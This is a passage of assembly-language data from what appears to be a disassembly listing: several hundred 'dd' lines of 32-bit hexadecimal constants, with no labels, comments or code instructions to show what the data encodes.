		dd 28043AFh, 64EDF29Dh,	8E7091E1h, 8269BBF9h, 8F31BFC5h
		dd 0D7A4E4D4h, 40942F0Ah, 0CA342C86h, 8800D6E6h, 0C3747159h
		dd 0D023BBh, 0BE7A64DEh, 314A8122h, 3C96751Eh, 13D5E200h
		dd 1E8AA337h, 0FF0674h,	0B2033D0h, 2034944h, 2694C7F6h
		dd 0CAF1D81Eh, 0FCF4CCh, 8BA5D8D3h, 0A992C2B5h,	9045FA2Ch
		dd 0B997C002h, 25E8C008h, 26CA39C1h, 0E64AFB82h, 0C680B51h
		dd 1E002792h, 25EB09D3h, 43650Eh, 0CEE7023Fh, 71449D15h
		dd 6CD6811Dh, 0E0B0EE04h, 0C9672C90h, 401E1E87h, 2D8D0055h
		dd 0EDB33E21h, 0A64F5300h, 0DD33E622h, 176300EBh, 0C7E9CAF3h
		dd 0C0009FB8h, 877892CBh, 0E690F13h, 0AFEC166h,	33C2E542h
		dd 651DE471h, 0E0229A4Eh, 0B3839763h, 88A5006Dh, 0C3983815h
		dd 66135530h, 55005BCBh, 0B637A144h, 31D50C47h,	1038686Ch
		dd 1F8F2000h, 4D9F1C4Ch, 931B12D4h, 3F94F34Ah, 0E9AB83F3h
		dd 0C8AF0C54h, 0EA8FD6h, 0DF2F5764h, 0A5A911B8h, 3D2218C0h
		dd 3CCD6E0Fh, 0B700F583h, 0CF43353Ch, 0BC07960Ah, 6C26867Ah
		dd 5F0CA209h, 0BC788Eh,	46CE77EAh, 5917B684h, 0B32E2A79h
		dd 0E300B0B1h, 357DC2Fh, 0E6210012h, 8C5BD898h,	6BF4DD8Bh
		dd 2817AB00h, 4919BBF2h, 6FC5035Eh, 7CCACEF4h, 0A9E6EED0h
		dd 0F02BE300h, 3BF21B6Ah, 0EBB9023Eh, 6B700D49h, 6438CC60h
		dd 0BB885D0Eh, 0BD9DE09Ah, 3CE434Bh, 0BFA6FAFBh, 0F8E0143Dh
		dd 0D40095C7h, 4F603AD3h, 4EF4512h, 88115EFDh, 0BF7491A3h
		dd 5044D457h, 4D001190h, 0D4C4E53Fh, 60536820h,	0AED1107Fh
		dd 143D873Bh, 4C0E0050h, 0AB3DC822h, 3E63719Bh,	8E805B26h
		dd 8359FB92h, 8700C504h, 49C217F3h, 1FDE4364h, 57A5D982h
		dd 4F3400A4h, 8BB4653Ch, 14486EF4h, 9EE1D6Ch, 62C87B02h
		dd 0D26840A0h, 103B180Dh, 76CB2013h, 0FD1AF700h, 0C3FB669h
		dd 36202EEEh, 7826002Ah, 0AAB8932Bh, 0DF0B409Ch, 42162080h
		dd 26356520h, 46140C1h,	0BB2C4CA0h, 0E3365780h,	830D4BD4h
		dd 35DB3284h, 22896FE0h, 8417B728h, 7BE2FA3Ah, 4F00FB90h
		dd 0C69F441Eh, 55DFBD2h, 35632841h, 7CAEC18Fh, 0E0D040BAh
		dd 27072BE9h, 94C2645Bh, 0E712FB50h, 0D720009Bh, 9304D8Ch
		dd 414EF2A9h, 2EAF4880h, 0A4BA00E5h, 1805639Fh,	0E8B05224h
		dd 97A23C0Bh, 0B48F8031h, 6C3D34h, 0DCA619C4h, 3B3E8D63h
		dd 5BA0600h, 595DA1E1h,	88724BD1h, 0BB00D748h, 4D063249h
		dd 72AEAFEh, 572B60FDh,	427F1080h, 3CB652CAh, 10093A12h
		dd 8AA4E8D6h, 0CBDF0389h, 1A8EFB50h, 0E87FD0A9h, 350079B5h
		dd 0A3A46352h, 0FDDC85h, 9AB07C44h, 47EE270Dh, 69B2BE00h
		dd 3895D3ABh, 625A0072h, 163FF44Eh, 510040A3h, 0AFB17C06h
		dd 8C4BA4h
		dd 796D8589h, 1B305BC4h, 0BC058A00h, 0F0757E10h, 2C3607FEh
		dd 439065D5h, 0A0D583D7h, 9C586774h, 12A805A9h,	508CB924h
		dd 28DDDFh, 3D2DE6D2h, 950093E9h, 6C5C2056h, 1F0558EBh
		dd 83FBE71Ch, 0F0B0F545h, 731F8DE8h, 40FC48h, 0FF6848E6h
		dd 622C3A54h, 715571D2h, 192AC660h, 94D4811Dh, 91FF18B0h
		dd 6026F058h, 59E11128h, 4E008AA5h, 8EBCF716h, 75EBD2h
		dd 31E91470h, 7B503A68h, 48FEA9EAh, 0CD404D03h,	0B82EEA23h
		dd 0EC2B83Bh, 8056F0B5h, 0EF50FECCh, 2842924Bh,	488F97C3h
		dd 68C6AE4h, 0C6974DEh,	6705B8EBh, 97EA1DE6h, 7DC6181Fh
		dd 30A8F2B3h, 0BB08FEA0h, 3A2A5AF0h, 37407026h,	0F65380BAh
		dd 0A53138h, 0D8D75812h, 0C74A80h, 64BA15D3h, 0BBFC6683h
		dd 68936C00h, 0E32C651Dh, 8D8B008Eh, 87335C09h,	300022ADh
		dd 6DE7FB19h, 0B9F9F0h,	0CD89D444h, 2812728Eh, 82F6CF1Dh
		dd 879839C1h, 96D43CFBh, 5E7338F4h, 0BB977480h,	942243AAh
		dd 0C9871B00h, 0B0AF7B8Ah, 0ED083AA8h, 0D7A7E01h, 0E48E5B33h
		dd 0CB2C7060h, 0F41553BCh, 842D1C80h, 28E56984h, 0EF8E0C81h
		dd 0FA3DFh, 2C0BA021h, 34BA7F3Ah, 59B7530Bh, 71668078h
		dd 1509DED2h, 94222FBBh, 0AD35E507h, 82E87712h,	0C960EE99h
		dd 763D87DBh, 45E10184h, 1E9FF5A7h, 5CB86180h, 0F2CA385h
		dd 91B9E00h, 2382CB64h,	2DF0308h, 8B33805Eh, 780445F3h
		dd 26D63A20h, 0F8746B00h, 3C06EABDh, 0D32B3FEFh, 0D75E2020h
		dd 0D19E0C94h, 6C188E24h, 39694711h, 4A018433h,	12EAB91Ah
		dd 8F65D119h, 0C001C821h, 68992543h, 518A6896h,	8B215C24h
		dd 5B9880D7h, 23B7E30Ah, 38CF0E1Ch, 0B80AA31Fh,	0DC88C863h
		dd 2388679Eh, 68A2E50Dh, 3FB40016h, 0C637F829h,	0BCA9242Fh
		dd 0AD8EE8F7h, 8C006CF4h, 2A21D213h, 3B4085Ch, 7F98DB5Ah
		dd 99039F18h, 0E3D3ECC2h, 0D0F58B21h, 10F4511h,	0E6280E80h
		dd 308EEA79h, 0D20150B2h, 549582BCh, 62F7ED4Fh,	46FBC0B1h
		dd 64ECC883h, 753242F8h, 300C5FAh, 0D62BB266h, 1050761h
		dd 1636C093h, 0E880AC12h, 0CDE4E1D7h, 96112733h, 0C868A84Fh
		dd 3BF77B66h, 0E681AE7Ch, 0F4C3D1B6h, 0D4C2C18Ch, 98002558h
		dd 32AD9A07h, 7DBF9F6h,	0D73AC836h, 5B6160FBh, 803E6DBCh
		dd 8091B9D8h, 0CE8E7206h, 3B67EB64h, 608051E4h,	4D453859h
		dd 0F24CC0A2h, 44300035h, 91575876h, 4742003Dh,	37FB8F74h
		dd 0AB02AFA2h, 0C2BF8B6Eh, 0AAC7E0E1h, 4AB80195h, 74B9CDC4h
		dd 1AB7F84Ch, 5E3F9207h, 0FC13A850h, 0BAC7A13Ah, 4079209Fh
		dd 0CA5BE71Ah, 203B4042h, 0DE070075h, 0D01194A0h, 53271E93h
		dd 6B7B00DBh, 58210D4Eh, 435DB901h, 74541F4Ch, 50BB449Bh
		dd 0C0925AC1h, 68032460h, 0B038CE88h, 7143A189h, 8BFB208Eh
		dd 0D339D400h, 7F0037C4h, 6FF0DCDDh, 362851D7h,	0A0285AFEh
		dd 0C024606h, 1E114FFCh, 0C279B02Ch, 5D5C9E25h,	8374663h
		dd 78702157h, 653566h, 0B9CFEB11h, 0CD7A247Bh, 618CFA05h
		dd 8C40A0C5h, 3BDC34E0h, 11474C50h, 0B1F916h, 20BA4F12h
		dd 4307FAAh, 0E5558938h, 6A5E00D9h, 463B7895h, 110C32A5h
		dd 7802FDD8h, 1641004Dh, 97E1D6B3h, 9B009E6Bh, 7645DF84h
		dd 39CC0F17h, 1618A587h, 0A8A3E025h, 3998AE54h,	4860D06h
		dd 0CF03A7Eh, 0DF9E87D7h, 42012728h, 0C638C0D3h, 80CA1EE8h
		dd 1D215DA0h, 0A7D100F7h, 16740422h, 9900B081h,	0CE268659h
		dd 11A3B4Dh, 37DA563h, 0D96CC1B1h, 0FD60F077h, 0EA649603h
		dd 0BF1BA631h, 43759360h, 90ED025Ah, 2801A13Dh,	324F62C0h
		dd 35EB1900h, 9253D06Bh, 0B4BD0363h, 5AF2E0ABh,	0B3F1AFF8h
		dd 6D5C290Bh, 8F300019h, 0BE6109h, 59DF8A43h, 0CE45B568h
		dd 5888DC1Eh, 4B3E2380h, 1CA295AEh, 80E67C85h, 0B3F049ECh
		dd 3C0027D2h, 58203709h, 7B5CD18Bh, 0AC990687h,	11A382B2h
		dd 0C04A256h, 10D5974Dh, 0B7010079h, 64615A2Bh,	0B6C0439Dh
		dd 934A1696h, 5F2E008Fh, 270920D2h, 600A9CDh, 0A8C6F381h
		dd 381997F8h, 0BA831E70h, 591DC87Eh, 4F628680h,	97D32C3Ch
		dd 4B1D6F22h, 15E46082h, 0C2BBC014h, 7B7B81h, 82339D1Ch
		dd 6726AB29h, 31D8C100h, 969CFA19h, 30E307B2h, 69C9CA2Ch
		dd 2DEC1A80h, 0BA00BDF6h, 3DE55A86h, 72CF532h, 55A183AAh
		dd 0BC9F907Ah, 0CC00694Dh, 0D0501703h, 626F6Bh,	2B28C181h
		dd 22042D98h, 443340C0h, 1F6DDAACh, 9E261Ch, 36729916h
		dd 2200204Ch, 0D435721h, 3ADB5C6h, 0DE7F09E5h, 9EE8ED2Eh
		dd 1007CEB3h, 0FD867E1Bh, 77DA50B0h, 4B2A07ACh,	1E224CF1h
		dd 35752AFh, 49ED7132h,	3B0CE803h, 0D0C0102Bh, 0AEFBA0h
		dd 0D6B15430h, 5D48A902h, 8A601F14h, 0C1E800D4h, 0BCF0E6E7h
		dd 3F3005EAh, 41948E49h, 0AF4F1480h, 7C3EF4ECh,	46F22500h
		dd 0FBEDE493h, 0C789E2CBh, 0A0014A29h, 66AF3420h, 54493DB8h
		dd 0C1880004h, 4A19B30Ah, 0C62E386Ch, 0BF671D00h, 3643B904h
		dd 7DFAB200h, 0F658C4C7h, 0F149838h, 7C6A769Fh,	0BE445AA0h
		dd 0C10083E0h, 0C8F0350Ch, 24B7E8EBh, 0B84755h,	5FB842DCh
		dd 0EE00D994h, 8AAEFF66h, 0EAB697h, 85B29D63h, 4EEDE1E2h
		dd 0B024F030h, 2CC0DB38h, 0FAC886Fh, 0ADCA6E50h, 596908DCh
		dd 5FEA3986h, 9A200B90h, 817D3B63h, 5CF740A7h, 0CB4803F3h
		dd 0D866EB3Ch, 98FECE90h, 9B5F300h, 70F00B58h, 0FBA13E89h
		dd 885BD814h, 40F25C1Ch, 0C97EA277h, 3A00AD16h,	72B536E3h
		dd 1704E0h, 86038738h, 78914959h, 253EEC70h, 94CE07A4h
		dd 4D00ED96h, 4CB01002h, 5B001E61h, 26CB186Ch, 71386DADh
		dd 0B1AE82CCh, 40C0990Bh, 0C8EE0900h, 0C4601D81h, 3D8AEDE5h
		dd 9980468Eh, 9E7441B3h, 0D01DCB59h, 3F40533Bh,	751BB094h
		dd 77270047h, 0AC2B6CEh, 1125208h, 38002838h, 25BBAC3Bh
		dd 0FE4E505Fh, 0EA27F88Bh, 260AF4D1h, 830CA26Eh, 8AD8C51h
		dd 620FF0D0h, 9C6C7C00h, 0BE2EA0F9h, 0AEEDE791h, 8D1370h
		dd 0E6B3B269h, 0D4300B5Ch, 11F0A50Fh, 0CC774033h, 7060E4CAh
		dd 2648FA0Ch, 836861h, 6E2BBE97h, 855022C5h, 9B00A5D0h
		dd 7882934Bh, 2C6A2881h, 0F04EF5h, 3A6E1BE0h, 0D002140h
		dd 78F3DB9Dh, 0EE5A715h, 0AE5C6C76h, 903110C7h,	0B512CB4Ch
		dd 92A1C20Eh, 96A8E0D6h, 12478DDAh, 6D9982h, 0BDE15DECh
		dd 0A0F4344Dh, 55FFA703h, 3F60398h, 3E310F58h, 1100E1FCh
		dd 187CD2A5h, 524F8h, 8C49F34Fh, 19267757h, 31FCFE8h, 0A90B630Ah
		dd 0E6E8806Ah, 0F6B751B0h, 92EE1D5Fh, 0B52A8019h, 8AE10DA7h
		dd 770053FEh, 647E7302h, 7B5A0Fh, 8EF7FCBBh, 0CE3F601Bh
		dd 69D11F03h, 0C0BC27B1h, 120DB7ADh, 401A4D08h,	46AFA1D8h
		dd 9D0C4A97h, 2CF55510h, 1F52397Bh, 0ECAE13h, 0EE164714h
		dd 0C203E46Dh, 1D98418Eh, 14A39Bh, 92FF01C1h, 0A18CCAB1h
		dd 0E8B2C700h, 33FBF9DBh, 3C401F1h, 0F3144772h,	9912C0EBh
		dd 586EC606h, 400D31h, 0AE6F7268h, 0B42A85BBh, 810A5D16h
		dd 8C00C712h, 3FF34A8Dh, 62A4A028h, 5D1100D0h, 70DE7B23h
		dd 7520F43Ah, 0FEEAE0h,	0C66778E1h, 8576080Ch, 0C9AED600h
		dd 0FC8229D9h, 84E34D37h, 0E7075300h, 23B640A1h, 0A6046C90h
		dd 0D701FED6h, 187A7D80h, 988A0E0Ch, 51A07276h,	0F9216557h
		dd 81313Ah, 6D84520h, 0D3CF2h, 8C26ACB9h, 3AB8BBF6h, 0F9748092h
		dd 2A1B5500h, 0BDEFDB3Eh, 59C00042h, 4C3047B0h,	460A019Ch
		dd 0B84E7410h, 9B1BF201h, 9EEC4FC3h, 0AFF307A9h, 5B8860h
		dd 0E0B4743Bh, 8FE4F90Fh, 15CA8077h, 0A3E51Dh, 13CEDFF0h
		dd 39E6F3F2h, 8DC9C400h, 2C6E7C2h, 5D29004Ch, 55D90CB0h
		dd 3A02BD11h, 2EEF5619h, 68D460B4h, 0D1B13F0Eh,	0C91C9580h
		dd 0BF156D32h, 0AD698900h, 2C0B91A6h, 6EBD007Bh, 2070D564h
		dd 3C3F6876h, 0C7CF505Ah, 17E13B09h, 2FCC3h, 9D934307h
		dd 262E06F2h, 0C700F2B2h, 0E0A392A5h, 0A1E3C74h, 0E667D680h
		dd 0E3409615h, 22DDA200h, 9B28DF4h, 0A39A04CEh,	0C0FF6A20h
		dd 64A7B794h, 76009198h, 336C6B5Dh, 1DE5F99Bh, 40049812h
		dd 62C84FE9h, 5B003A31h, 0E6B46BC7h, 21FC54h, 0B98909Fh
		dd 6DBB1DCFh, 0D5FA4A00h, 8EE90DC8h, 0E55F031h,	75ED2D87h
		dd 0E514BA5h, 2A80C4F2h, 0FF271AAEh, 0F6934901h, 0BBCFD0E0h
		dd 9658F0h, 0AD4A456Ch,	5A12A1A9h, 0A4638500h, 67654CDCh
		dd 0C4DA4D28h, 701B4B0Bh, 1E12D180h, 0F200DB4Ah, 6C2F0686h
		dd 825DA0h, 0BE32E48Dh,	9583F848h, 7E50FB1Dh, 0E058020Eh
		dd 0B011091Eh, 9A28000Ah, 5131E3BAh, 0F312CBC9h, 3800CD2Dh
		dd 0F4B6A0F8h, 11B86744h, 0F74380F0h, 12182189h, 3018D376h
		dd 99D66001h, 0EE963F23h, 935F5700h, 8C35FCEFh,	0AE2D3899h
		dd 1780A6BFh, 1ECB5E76h, 7407E7EAh, 0EB3153ACh,	10188EF5h
		dd 3EF84C40h, 9E28DCEDh, 0BE50000Ch, 412AA0A8h,	4584FD4h
		dd 5761850Ch, 0ED318D3h, 835AFE30h, 36D40D81h, 89298018h
		dd 0D13FA8ADh, 0EE35003Ah, 0E27967A0h, 5F07E344h, 5A651861h
		dd 111398A0h, 1877889h,	7DC38890h, 0E825C6CCh, 9E009C54h
		dd 20D6B964h, 0EA5D21h,	0DB9069EEh, 81DE76B5h, 70828930h
		dd 25198DD2h, 74348FF6h, 798A048Dh, 0DF80B41Fh,	279344FDh
		dd 69FC3AA0h, 31200F6h,	51809CB6h, 2B008498h, 3CB22F73h
		dd 4081FFh, 0A778CBB7h,	3592E2E0h, 0CF98B800h, 81739E01h
		dd 6E60398Dh, 8E9D4200h, 49FDBF3h, 0FC1BE405h, 65C0A9CEh
		dd 1D3AABD4h, 0D22F2154h, 6625010Bh, 0E51C6D50h, 602F7107h
		dd 0DDEA1B78h, 0AAD22104h, 24C014B3h, 120C4ACh,	0EA43A08Ch
		dd 0F88AC162h, 692E22D3h, 0C000BD4Ch, 55F51ECFh, 61AD4CAAh
		dd 0F8E24900h, 0BBE5C90Ah, 8E5B4138h, 0A0BE1452h, 0FA42511Bh
		dd 50F80024h, 0A2F11E6h, 817758Ah, 180078CAh, 0B82644C4h
		dd 3F33001Fh, 0BB15A9C8h, 0ED078260h, 0E4412208h, 4419D630h
		dd 0B16A0264h, 7F0CA732h, 0C58B44E0h, 8C0168F4h, 1CAD4631h
		dd 0E08173E2h, 74ED85EBh, 0F58C6049h, 7C840B00h, 9E82522h
		dd 95D8A0D4h, 918200F3h, 3D87032Bh, 4B26BC1Dh, 0B280380Fh
		dd 54806196h, 14F1B0E9h, 0D09A1F21h, 2549A300h,	0F0707CC0h
		dd 67E474F5h, 14463A06h, 0F610F5A9h, 0ED8E005Ch, 6F29F32Bh
		dd 0C13EDEB1h, 9A6C001Ah, 0A92E0BBBh, 467DF2h, 2D3BD1EBh
		dd 0ADB5CC30h, 0D7F6C000h, 7055F32Ch, 1DC92EAh,	91D81E87h
		dd 0DC68D93Bh, 0B00701FFh, 6A6B6CD2h, 3E7E0B50h, 7F720074h
		dd 7D90E78h, 9C000C0Ah,	338D1702h, 38EFF24Dh, 0F0802ABCh
		dd 0AF585E4Ch, 890EA3CFh, 8128801Ch, 19840573h,	0B7801C28h
		dd 0C2459817h, 4DB68700h, 6DC0DA8Ch, 8A513C0Eh,	0C77FBD04h
		dd 8F70C317h, 0EABA2A80h, 2FF8731Ch, 0B000E2D3h, 2738A8F6h
		dd 44530055h, 7DA1C676h, 5B2A2554h, 3B00C8F3h, 7B80FF09h
		dd 28FDEF39h, 619056C9h, 8AC3E36h, 113EF48Ch, 9634AE00h
		dd 50B659BCh, 260B7D10h, 0F419FEh, 465A7BC0h, 8B0011D9h
		dd 0CDEA3749h, 605EDA6Ah, 94A150A0h, 0FD0EDD31h, 0A07CD95Ah
		dd 1B10ECE4h, 360F00C2h, 0EFED0660h, 0B012CD6h,	57C1F023h
		dd 52E090ACh, 942D00ECh, 27F96908h, 84147006h, 16D0A4FCh
		dd 2500E5ABh, 63449F8Ch, 0F3AD25C9h, 4B4AC038h,	8CCE2007h
		dd 46C01BD5h, 0FA110268h, 8E30E8Bh, 57670AC1h, 7B8900DBh
		dd 0F602C913h, 7247369h, 54704075h, 875F005Ah, 5DF7CEB0h
		dd 2600A2CBh, 0FDA6E993h, 39962557h, 0B980DE8Bh, 0FFC6181h
		dd 2492A8D0h, 0B5863224h, 0AE413400h, 7E7B46h, 0D7220761h
		dd 0CE43CFA4h, 80F1AC3Ch, 16F40CA6h, 92D6DAh, 5AB2A340h
		dd 0EF6629E5h, 54AD4700h, 0E642E76Ch, 187F004Eh, 7725A572h
		dd 6B033616h, 0FADD7D05h, 73BAB8B6h, 0EE540042h, 0FF2FE614h
		dd 7200909Bh, 7A054153h, 3B781FDFh, 95819277h, 94B82AC4h
		dd 7E68D0ABh, 1A6C58h, 7851E3DFh, 0D1BE15h, 98B583FDh
		dd 0B7C08F8h, 70236A00h, 0CCD889ECh, 0E88F005Eh, 281A2677h
		dd 78E45DDBh, 6200B4FEh, 175642D8h, 0E491B85Eh,	18D00736h
		dd 82348501h, 0B46258F8h, 26D270A0h, 3B0012C2h,	1BD1057Ah
		dd 0D8928Ch, 0CA71A214h, 0B2AC2701h, 8032F03Fh,	0D277CEA4h
		dd 188FFA7h, 4AA0054Bh,	24DB0F5Fh, 5400EFE4h, 0C139E2A6h
		dd 0AC4DB7h, 6D6AB576h,	0E0D39F0Fh, 4B0A821Eh, 65F80B98h
		dd 20B8C1h, 681E6114h, 67F1F229h, 0BF9CFA02h, 0E0217C57h
		dd 4325E7h, 0D39395EDh,	66E96ED8h, 0A98B9828h, 48A96800h
		dd 715E840Ch, 0D27B96h,	0E1C8F1Dh, 3D44B242h, 0DF4ECF00h
		dd 0D0F5B929h, 0B6F7006Ah, 0C2EB508Dh, 1D173351h, 1C5D0D6Ch
		dd 0F50C5200h, 7EAE80A4h, 0D71C0085h, 57604724h, 0D02551E7h
		dd 1CB0140Ah, 0C0ED8115h, 4C8BC878h, 4F64110Fh,	0A4C0C36Ch
		dd 0EE03A397h, 565E000Ch, 0A2EEEB09h, 0C600F225h, 594D396Dh
		dd 39C02092h, 41A55389h, 0E0C2FC87h, 0B1717E63h, 1C48697Dh
		dd 1DD44855h, 3A995D0Ah, 0C4294BB9h, 27660B03h,	43887583h
		dd 0D6101445h, 0FD01FB26h, 34F354F0h, 0CF8B20FCh, 9D2C5D00h
		dd 7D3536C3h, 716A00C9h, 8F596711h, 760E7C73h, 21C26C60h
		dd 36FD5B97h, 38E43C20h, 21004C99h, 85F7ABBEh, 0E1005681h
		dd 31639650h, 4E8A2Eh, 5F833D06h, 823D09Bh, 4A873Bh, 65E8F252h
		dd 12433EFAh, 1630CBh, 0DCC8F97Ch, 3B0069DBh, 0D5CA62ABh
		dd 7F7BF1h, 8736B163h, 541F2881h, 9F314700h, 0AD64AA88h
		dd 0EFFD032Fh, 2D8D56B6h, 20A692F9h, 4876E3D4h,	9C619F09h
		dd 0C16E8093h, 75957B3Eh, 32D400DBh, 37E5646Ch,	7900381Bh
		dd 1790CBC4h, 9402B512h, 34E380D8h, 38199699h, 434505Ch
		dd 1A177B4Ah, 39361100h, 0F50043D0h, 0ACD597FBh, 41E8DFh
		dd 382C4FCCh, 0DEA04502h, 0EEDCA70Fh, 0FF0DA0B5h, 271AA5h
		dd 0B6827BBBh, 8A8581F7h, 2C0038BAh, 4D728722h,	150263Ah
		dd 0CCDDA8E9h, 2021F2EFh, 0B600818Eh, 2BF51FB3h, 4606CEh
		dd 503727DBh, 0D4AF6F8Dh, 0FEF3A938h, 7E1F647Fh, 4392BB1Fh
		dd 0BF6FCC80h, 299D025Ah, 0C5E50134h, 0CEB414E1h, 80FFE3E3h
		dd 0AC9B7504h, 0E4D5B00h, 39644150h, 905D0385h,	7D5C6068h
		dd 0BBD33800h, 0D4ED9AF5h, 3D6E0029h, 0E94D583Bh, 0E11F351Eh
		dd 898020CEh, 0A1A85F54h, 0F993881Ch, 756C4D13h, 40421C4Eh
		dd 48C1F23Ch, 0B77F01BBh, 9851AAE5h, 73096080h,	0A9715615h
		dd 0CE01688h, 83BC8Ch, 938F44E3h, 3B99F8BCh, 0D6B0F513h
		dd 12A73F07h, 5A076A42h, 733F0F0Ch, 0B7005C75h,	0A8AE2ACBh
		dd 452B2C04h, 0D0A43BD4h, 577A009Bh, 90B6F0E2h,	19E8A8F7h
		dd 4C001FFCh, 0E670F7Ch, 5DB830h, 0D66314E2h, 711B021h
		dd 0A0913C00h, 6BEA46DDh, 0E1A1077Eh, 0E35DE828h, 48935196h
		dd 0D7A2881Fh
		dd 0B41804D2h, 0B7E618h, 0EB7AEC86h, 0D4DF4609h, 0FACC003h
		dd 8840586Dh, 0CFC96E7h, 4761725h, 5461B430h, 0A4A65850h
		dd 7C25AC4h, 7B7C2CB1h,	0BC8BC03Dh, 0DC028E0Eh,	0DE634BC8h
		dd 7515E0E6h, 0FB6B3A92h, 2E09CA00h, 3EE5526Ah,	0B8DEAB00h
		dd 48DC66E7h, 0A6BA009Eh, 0D0D1CEFAh, 0EF012B56h, 6E3DE111h
		dd 1B209F10h, 0F668005Fh, 0D4FCA88Eh, 5C3EA1A5h, 0BF0B00ACh
		dd 0A70D7C38h, 0D5722A47h, 0C7F200ACh, 0FE2ACD16h, 5E7773B7h
		dd 21D708CCh, 14795Bh, 0C855539Dh, 12DCD69Bh, 0D717FB18h
		dd 0A0E44B50h, 52A70CE4h, 0E0022C46h, 0C62B2816h, 1411A631h
		dd 0A126E415h, 0F89BB204h, 18802B96h, 308AFD95h, 5329AAE1h
		dd 6131C825h, 0BE4F79D7h, 0C054D705h, 0F759C32Bh, 0E68A9D00h
		dd 2C5B10A9h, 20BF608Ch, 357982D2h, 0CF57EF01h,	97210696h
		dd 21860898h, 350360E5h, 0A7A04030h, 0D8F2E0D3h, 73EF3ED4h
		dd 0E38069EFh, 0E0F79E65h, 30489807h, 8E449B58h, 0B6C8B0h
		dd 0BC9065E4h, 0EF8BE015h, 9114E90Fh, 5A90781Dh, 8C713757h
		dd 7D1B50A0h, 33007C34h, 75912F7h, 1E6C3AE1h, 81B46E79h
		dd 7FE9C243h, 6F8EC870h, 0C722900h, 0D49B45D6h,	57D10010h
		dd 0ACC9178Bh, 66006069h, 244E7712h, 68FC19h, 0B7BD6FEh
		dd 97336293h, 1D9EB300h, 0AB274A11h, 39C9021Eh,	63FBA294h
		dd 57408BC0h, 0EACE6760h, 6358A06h, 97375F7Bh, 6C006839h
		dd 9E708C34h, 6B00C54h,	4C8A24ECh, 76F21C9h, 92FE03CEh
		dd 94783C7Dh, 494BA380h, 585B0A52h, 1A0089F6h, 0A7F7AAEAh
		dd 0EB15EDAh, 9044224Bh, 353CD181h, 18CD30C6h, 366FFD00h
		dd 98EE1233h, 5B9D00C7h, 58AAE608h, 49043B2Dh, 0BB33070h
		dd 253DE0C0h, 0CADCF1D8h, 8E010A45h, 86906AD1h,	0A9103C64h
		dd 0B195E631h, 0F0F5C260h, 0BC81F4h, 0DDFDC740h, 0B66132F8h
		dd 5F8038DEh, 3BB123C2h, 26971F89h, 5585C0A5h, 30348E28h
		dd 0CD3C6707h, 646738D2h, 193A1D90h, 0E4F435h, 7F76151Ch
		dd 785C80FCh, 0B3B00400h, 0BC33EF4Ah, 4E05293h,	182F1280h
		dd 3D002581h, 9CCAAE3Fh, 12968D7Eh, 0E1344Ah, 9A116205h
		dd 0BD06393Ch, 0CB03819Fh, 0C88B3F38h, 0E85560E0h, 0BE00AB80h
		dd 0CB026C4Ch, 1E399926h, 40A65A08h, 41C4E03Bh,	0EF054C01h
		dd 0FEDABFDFh, 46EE203Ch, 688E0375h, 0BB7C59h, 2E6A5CB9h
		dd 4C875491h, 0D73D901Bh, 2F18608h, 42FA3EEh, 0EA83AC5Eh
		dd 0F9D63BFFh, 7A91401Fh, 0C3C7304Eh, 302FC994h, 0B213D08h
		dd 0F3007B04h, 0A318F20Ch, 26142B1h, 7D102BE2h,	848D948Eh
		dd 8D82E088h, 0AE204F1Eh, 63665C0h, 19E54967h, 1848E42Ah
		dd 0A832F412h, 3D1E7F7Ch, 0EF4E6B36h, 82A89854h, 6C585268h
		dd 662E4101h, 0C4BDF55h, 0FD21C0B8h, 74012ED6h,	3A959A3Bh
		dd 5EBB00DBh, 8396D1C6h, 1C130C87h, 5C30BAD2h, 0F4973D2Ah
		dd 0ED3E0FE4h, 18033E9Dh, 3119D171h, 0B4F824EFh, 0A6F34014h
		dd 0E03E4FDh, 0CCAC70A3h, 620830ABh, 0E8FF8A21h, 6700BAF6h
		dd 442EA2F0h, 0FFA6C184h, 1814F8C0h, 0B1D376C2h, 0A13F8C9Eh
		dd 9DF9A4DBh, 0BD40BF01h, 8C437C3Dh, 3481C4D6h,	95DC736Dh
		dd 644E00DAh, 89151749h, 0AD09F8F0h, 0FA71B30h,	46EA220Ch
		dd 0E04440B0h, 3EF290Fh, 0FDA7015Ch, 18AB0EE5h,	0F0D38861h
		dd 0BAC6E800h, 64809F11h, 0F4FB0089h, 9A7F9E49h, 0CB005D13h
		dd 0B9EBCFF0h, 46B05Bh,	69A1AFE6h, 73082E4Bh, 98AE3A28h
		dd 410F0946h, 0DB8417FDh, 3AD52C4Fh, 103FD5Ah, 38775C0Eh
		dd 0F606BDE0h, 0EFCF5D2Eh, 0BA448700h, 50223412h, 0F771805Ch
		dd 84094DDh, 12AAFF1Bh,	7A2F695h, 1B319224h, 8CEA85h, 0ED3DDAA0h
		dd 0E8E27AA6h, 0B45B7024h, 0CCB1FE00h, 2EDDA9h,	81595F34h
		dd 7D9635F1h, 4C973A00h, 0FC5BB033h, 0B8BC09F5h, 1C21BDA8h
		dd 0F00CF913h, 0F40C09D6h, 830CEEBh, 449249h, 650F412Ah
		dd 943F81C9h, 98C10A7Ch, 0E30C2145h, 3302430h, 97854C6Bh
		dd 0F0E3334Ah, 7F3E1918h, 86B7DA70h, 0A61F0CFCh, 88A1F9D3h
		dd 6802BC3Fh, 82A80ACBh, 11CB098h, 30787B8Eh, 5C60481Ch
		dd 0DF8C69F0h, 13350E02h, 0BAA23F82h, 18409BBDh, 84CF4A2h
		dd 6406065Ch, 63B0A68Ah, 7174D14Bh, 0A078129Bh,	0CEF08C93h
		dd 6DC6003Eh, 0C2A5F471h, 6518B4CBh, 6670A1A2h,	197F6C8h
		dd 3B1E91BAh, 0E0BFE339h, 46642EEAh, 74CB3310h,	7444B9DAh
		dd 102E4301h, 0C421C87Ah, 90F6A0CFh, 0E3831EC2h, 837DDD33h
		dd 0A3880B2Ch, 11C83948h, 84857F0h, 4C90435h, 1479644h
		dd 0C4DC72E5h, 0E9CC8C41h, 14EDF8F3h, 351D0010h, 0E42E89C8h
		dd 0A549626Eh, 8EBD06CCh, 0CC1E965h, 0B2AC293Eh, 64145540h
		dd 2684D416h, 74087C0Ah, 2E6D6076h, 0BF525542h,	0B92274h
		dd 282FA531h, 0FEB0B5DEh, 0F9059907h, 30E06F5Fh, 0C0979E02h
		dd 84B22E80h, 0C802C9FBh, 0EBAAF668h, 558D6030h, 0F09A3Fh
		dd 5209ED2Fh, 3B56DAF0h, 0DCE24F00h, 0EF6840BDh, 0F6A73B2h
		dd 1FC8EC65h, 18B7ED40h, 6C08359Ch, 47FAC06h, 9513F422h
		dd 0D3803368h, 2040B4E0h, 8EE8A08Eh, 78A64996h,	5C347612h
